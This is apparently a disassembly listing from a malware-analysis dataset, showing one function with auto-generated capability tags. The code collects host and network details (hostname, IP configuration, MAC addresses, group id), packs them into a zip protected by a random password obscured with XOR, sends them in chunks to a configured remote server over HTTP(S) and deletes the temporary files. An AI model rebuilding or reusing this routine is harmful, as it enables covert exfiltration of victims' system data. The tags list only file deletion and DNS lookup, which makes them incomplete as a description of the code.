Function at 0x402530
Capabilities:
Delete file
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c143
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x4b88
call fcn.0040b660
push ebx
push esi
push edi
mov ecx, 0xa00
xor eax, eax
lea edi, [ebp - 0x4b98]
mov dword [ebp - 0x10], esp
xor ebx, ebx
rep stosd dword es:[edi], eax
push str.support.microsoft.com
mov dword [ebp - 0x40], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
jne 0x402594
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea ecx, [ebp - 0x2398]
call fcn.00403e60
lea ecx, [ebp - 0x2398]
mov byte [ebp - 4], 1
call fcn.00403f10
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x28]
push eax
push ecx
push 0x8003
lea edx, [ebp - 0x2268]
push 6
push edx
mov dword [ebp - 0x24], ebx
call fcn.004038b0
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
xor esi, esi
cmp esi, dword [ebp - 0x24]
jae 0x4025fa
mov ecx, dword [ebp - 0x28]
xor eax, eax
lea edx, [ebp + esi*2 - 0xe8]
mov al, byte [esi + ecx]
push eax
push str._02x
push edx
call edi
add esp, 0xc
inc esi
jmp 0x4025d7
mov eax, dword [ebp - 0x28]
push eax
call sub.MFC42.DLL_operatordelete
lea ecx, [ebp - 0xe8]
push 0x411a3c
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 0xc
cmp esi, ebx
jne 0x402642
lea ecx, [ebp - 0x2398]
mov byte [ebp - 4], 0
call fcn.00403f00
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edx, dword [ebp - 0x2370]
mov ebx, dword [sym.imp.MSVCRT.dll_fprintf]
lea eax, [ebp - 0x2380]
push edx
lea ecx, [ebp - 0x2390]
push eax
push ecx
push str.Domain:_s_nHostname:_s_nIPEnableRouter:_d_n
push esi
call ebx
add esp, 0x14
xor edi, edi
cmp edi, dword [ebp - 0x2394]
jge 0x4026f7
mov eax, edi
xor edx, edx
shl eax, 7
add eax, edi
xor ecx, ecx
lea eax, [eax + eax*2]
shl eax, 1
mov dl, byte [ebp + eax - 0x2263]
mov cl, byte [ebp + eax - 0x2264]
push edx
xor edx, edx
mov dl, byte [ebp + eax - 0x2265]
push ecx
xor ecx, ecx
push edx
mov cl, byte [ebp + eax - 0x2266]
xor edx, edx
mov dl, byte [ebp + eax - 0x2267]
push ecx
xor ecx, ecx
push edx
mov cl, byte [ebp + eax - 0x2268]
lea edx, [ebp + eax - 0x20e2]
push ecx
push edx
lea ecx, [ebp + eax - 0x2162]
lea edx, [ebp + eax - 0x21e2]
push ecx
push edx
lea ecx, [ebp + eax - 0x2262]
lea edx, [ebp + eax - 0x2368]
push ecx
push edx
push str.Description:_s_nDefaultGateway:_s_nIPAddress:_s_nSubnetMask:_s_nNameServer:_s_nMac:_02x__02x__02x__02x__02x__02x_n_n
push esi
call ebx
add esp, 0x34
inc edi
jmp 0x40266a
push str.HISIYK_n
push 0x4116a4
push esi
call ebx
lea eax, [ebp - 0x4b98]
push 0x2800
push eax
call fcn.004048e0
add esp, 0x14
lea ecx, [ebp - 0x4b98]
push str.HISIYK_n
push ecx
push str._s_s
push esi
call ebx
mov ecx, 0xa00
xor eax, eax
lea edi, [ebp - 0x4b98]
lea edx, [ebp - 0x4b98]
rep stosd dword es:[edi], eax
push edx
call fcn.00401580
add esp, 0x14
lea eax, [ebp - 0x4b98]
push eax
push 1
call fcn.00401920
add esp, 8
lea ecx, [ebp - 0x4b98]
push str.HISIYK_n
push ecx
push str._s_s
push esi
call ebx
mov ecx, 0xa00
xor eax, eax
lea edi, [ebp - 0x4b98]
lea edx, [ebp - 0x4b98]
push 0x2800
push edx
rep stosd dword es:[edi], eax
call fcn.00404a20
add esp, 0x18
lea eax, [ebp - 0x4b98]
push str.HISIYK_n
push eax
push str._s_s
push esi
call ebx
add esp, 0x10
xor edi, edi
cmp edi, 3
jge 0x4027da
mov edx, dword [0x412684]
mov ecx, edi
shl ecx, 5
add ecx, edi
lea eax, [edx + ecx*8]
mov ecx, dword [edx + ecx*8 + 0x121]
add eax, 0x1d
push ecx
push eax
push str._s__d_n
push esi
call ebx
add esp, 0x10
inc edi
jmp 0x4027ab
xor edi, edi
cmp edi, 3
jge 0x40280c
mov eax, dword [0x412684]
mov edx, edi
shl edx, 5
add edx, edi
mov ecx, dword [eax + edx*8 + 0x439]
lea eax, [eax + edx*8]
add eax, 0x335
push ecx
push eax
push str._s__d_n
push esi
call ebx
add esp, 0x10
inc edi
jmp 0x4027dc
mov eax, dword [0x412684]
push str.HISIYK_n
mov edx, dword [eax + 0x64d]
add eax, 0xe
push edx
push eax
push str.groupid:_s_nver:_d_n_s
push esi
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov al, byte [0x416124]
xor ecx, ecx
mov dword [ebp - 0x3b], ecx
xor esi, esi
mov dword [ebp - 0x37], ecx
push esi
mov dword [ebp - 0x33], ecx
mov byte [ebp - 0x3c], al
mov dword [ebp - 0x2f], ecx
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov ebx, dword [sym.imp.MSVCRT.dll_rand]
add esp, 0x20
xor edi, edi
cmp edi, 0x10
jge 0x40287a
call ebx
cdq
mov ecx, 0x1a
idiv ecx
add dl, 0x61
mov byte [ebp + edi - 0x3c], dl
inc edi
jmp 0x402861
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.tmp.zip
call edi
lea edx, [ebp - 0x3c]
push edx
push str.tmp.zip
call fcn.0040b460
add esp, 8
mov ebx, eax
lea eax, [ebp - 0xe8]
lea ecx, [ebp - 0xe8]
push eax
push ecx
push ebx
call fcn.0040b4d0
add esp, 0xc
push ebx
call fcn.0040b4f0
add esp, 4
lea edx, [ebp - 0xe8]
push edx
call edi
lea ecx, [ebp - 0x44]
call fcn.0040bb50
push ecx
mov byte [ebp - 4], 2
mov ecx, esp
mov dword [ebp - 0x18], esp
push 0x411960
call fcn.0040b5de
push ecx
mov byte [ebp - 4], 3
mov ecx, esp
mov dword [ebp - 0x20], esp
push str.tmp.zip
call fcn.0040b5de
mov byte [ebp - 4], 2
call fcn.0040be60
add esp, 8
push str.tmp.zip
call edi
mov al, byte [ebp - 0x11]
mov dword [ebp - 0xa0], esi
mov byte [ebp - 0xa4], al
mov dword [ebp - 0x9c], esi
mov dword [ebp - 0x98], esi
mov cl, byte [ebp - 0x11]
mov dword [ebp - 0x90], esi
mov byte [ebp - 0x94], cl
mov dword [ebp - 0x8c], esi
mov dword [ebp - 0x88], esi
mov dl, byte [ebp - 0x11]
mov dword [ebp - 0x80], esi
mov byte [ebp - 0x84], dl
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x78], esi
mov al, byte [ebp - 0x11]
mov dword [ebp - 0x70], esi
mov byte [ebp - 0x74], al
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x68], esi
mov cl, byte [ebp - 0x11]
push 0xc
mov byte [ebp - 4], 7
mov byte [ebp - 0x5c], cl
call sub.MFC42.DLL_operatornew
mov dword [eax], eax
mov dword [eax + 4], eax
add esp, 4
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], esi
mov dl, byte [ebp - 0x11]
mov byte [ebp - 4], 8
mov byte [ebp - 0x50], dl
push 0xc
call sub.MFC42.DLL_operatornew
mov dword [eax], eax
mov dword [eax + 4], eax
add esp, 4
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], esi
mov dword [ebp - 0xb4], 0x40d2d4
mov dword [ebp - 0xb0], esi
mov dword [ebp - 0xac], esi
mov dword [ebp - 0xa8], esi
mov eax, dword [0x412684]
mov byte [ebp - 4], 9
mov ecx, dword [eax + 0x121]
add eax, 0x1d
push ecx
push eax
push str.Rpt_to__s__d
push 0x4124b8
call fcn.00403a20
mov eax, dword [0x412684]
add esp, 0x10
lea ecx, [ebp - 0xb4]
mov edx, dword [eax + 0x121]
push str.Mozilla_4.0__compatible___
push 1
push esi
push esi
add eax, 0x1d
push edx
push eax
call fcn.00405510
test al, al
je 0x402c0e
push str.conn_s
push 0x4124b8
call fcn.00403a20
add esp, 8
lea ecx, [ebp - 0xc4]
call sub.MFC42.DLL_CFile::CFile_1
push 0
push 0
push 0x411960
lea ecx, [ebp - 0xc4]
mov byte [ebp - 4], 0xa
call sub.MFC42.DLL_CFile::Open
lea ecx, [ebp - 0xc4]
call sub.MFC42.DLL_CFile::GetLength
mov esi, eax
cmp esi, 0x27ff
mov dword [ebp - 0x18], esi
jbe 0x402a64
lea eax, [esi + 1]
push eax
call sub.MFC42.DLL_operatornew
add esp, 4
jmp 0x402a6a
lea eax, [ebp - 0x4b98]
push esi
push eax
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0x1c], eax
call sub.MFC42.DLL_CFile::Read
lea ecx, [ebp - 0xc4]
call sub.MFC42.DLL_CFile::Close
mov ebx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
xor eax, eax
lea edi, [ebp - 0x4ec]
mov byte [ebx + ecx], 0
mov ecx, 0x100
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov dword [ebp - 0x20], 0
test ebx, ebx
jle 0x402bde
mov ecx, 0x100
xor eax, eax
lea edi, [ebp - 0x4ec]
lea edx, [ebp - 0xe8]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [0x412684]
push 0
add eax, 0xe
push edx
push eax
lea ecx, [ebp - 0x4ec]
push str._index_id1_sid2_strs_dctt
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [ebp - 0x4ec]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
repne scasb al, byte es:[edi]
mov eax, dword [ebp - 0x18]
mov esi, 0x400
not ecx
dec ecx
sub esi, ecx
cmp ebx, eax
jne 0x402b5a
mov eax, dword [0x412684]
lea edx, [ebp - 0xe8]
push 0
add eax, 0xe
push edx
push eax
lea ecx, [ebp - 0x4ec]
push str._index_id1_sid2_strs_dctt
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
xor eax, eax
cmp eax, 0x10
jge 0x402b3f
mov dl, byte [ebp + eax - 0x3c]
xor dl, 0x23
mov byte [ebp + eax - 0x3c], dl
inc eax
jmp 0x402b2c
lea edx, [ebp - 0x3c]
push 0x10
lea eax, [ebp - 0x4ec]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_strncat]
add esp, 0xc
sub esi, 0x10
jmp 0x402b8a
cmp esi, ebx
jl 0x402b62
push 2
jmp 0x402b64
push 1
mov edx, dword [0x412684]
lea ecx, [ebp - 0xe8]
add edx, 0xe
push ecx
push edx
lea eax, [ebp - 0x4ec]
push str._index_id1_sid2_strs_dctt
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add edx, ecx
push esi
lea eax, [ebp - 0x4ec]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_strncat]
add esp, 0xc
lea ecx, [ebp - 0xb4]
push str.https
push str.type
call fcn.00405f50
push 0
lea ecx, [ebp - 0x4ec]
push 0
push ecx
lea ecx, [ebp - 0xb4]
call fcn.00405930
mov eax, dword [ebp - 0x20]
sub ebx, esi
add eax, esi
mov dword [ebp - 0x20], eax
jmp 0x402aa6
lea ecx, [ebp - 0xb4]
call fcn.00405900
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x4b98]
cmp eax, edx
je 0x402bff
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
lea ecx, [ebp - 0xc4]
mov byte [ebp - 4], 9
call sub.MFC42.DLL_CFile::CFile
mov dword [ebp - 0xb4], 0x40d2d4
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x10
call fcn.00405e00
lea ecx, [ebp - 0xb4]
call fcn.00405ee0
mov eax, dword [ebp - 0x4c]
mov byte [ebp - 4], 0xf
lea esi, [ebp - 0x50]
mov ebx, eax
mov edi, dword [eax]
cmp edi, ebx
je 0x402c56
mov eax, edi
mov edi, dword [edi]
push eax
lea eax, [ebp - 0x18]
push eax
mov ecx, esi
call fcn.00403e10
jmp 0x402c40
mov eax, dword [esi + 4]
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
xor eax, eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x58]
mov byte [ebp - 4], 0xe
lea edi, [ebp - 0x5c]
mov ebx, eax
mov esi, dword [eax]
cmp esi, ebx
je 0x402c8e
mov eax, esi
mov esi, dword [esi]
lea ecx, [ebp - 0x18]
push eax
push ecx
mov ecx, edi
call fcn.00403e10
jmp 0x402c78
mov eax, dword [edi + 4]
push eax
call sub.MFC42.DLL_operatordelete
xor esi, esi
add esp, 4
mov dword [edi + 4], esi
mov dword [edi + 8], esi
mov ecx, dword [ebp - 0x70]
cmp ecx, esi
je 0x402cc4
mov al, byte [ecx - 1]
dec ecx
test al, al
je 0x402cbb
cmp al, 0xff
je 0x402cbb
dec al
mov byte [ecx], al
jmp 0x402cc4
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov ecx, dword [ebp - 0x80]
mov dword [ebp - 0x70], esi
cmp ecx, esi
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x68], esi
je 0x402cef
mov al, byte [ecx - 1]
dec ecx
test al, al
je 0x402ce6
cmp al, 0xff
je 0x402ce6
dec al
mov byte [ecx], al
jmp 0x402cef
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0x80], esi
cmp ecx, esi
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x78], esi
je 0x402d1d
mov al, byte [ecx - 1]
dec ecx
test al, al
je 0x402d14
cmp al, 0xff
je 0x402d14
dec al
mov byte [ecx], al
jmp 0x402d1d
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0x90], esi
cmp ecx, esi
mov dword [ebp - 0x8c], esi
mov dword [ebp - 0x88], esi
je 0x402d54
mov al, byte [ecx - 1]
dec ecx
test al, al
je 0x402d4b
cmp al, 0xff
je 0x402d4b
dec al
mov byte [ecx], al
jmp 0x402d54
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
lea ecx, [ebp - 0x44]
mov dword [ebp - 0xa0], esi
mov dword [ebp - 0x9c], esi
mov dword [ebp - 0x98], esi
mov byte [ebp - 4], 1
call fcn.0040bb80
lea ecx, [ebp - 0x2398]
mov byte [ebp - 4], 0
call fcn.00403f00
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x40]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4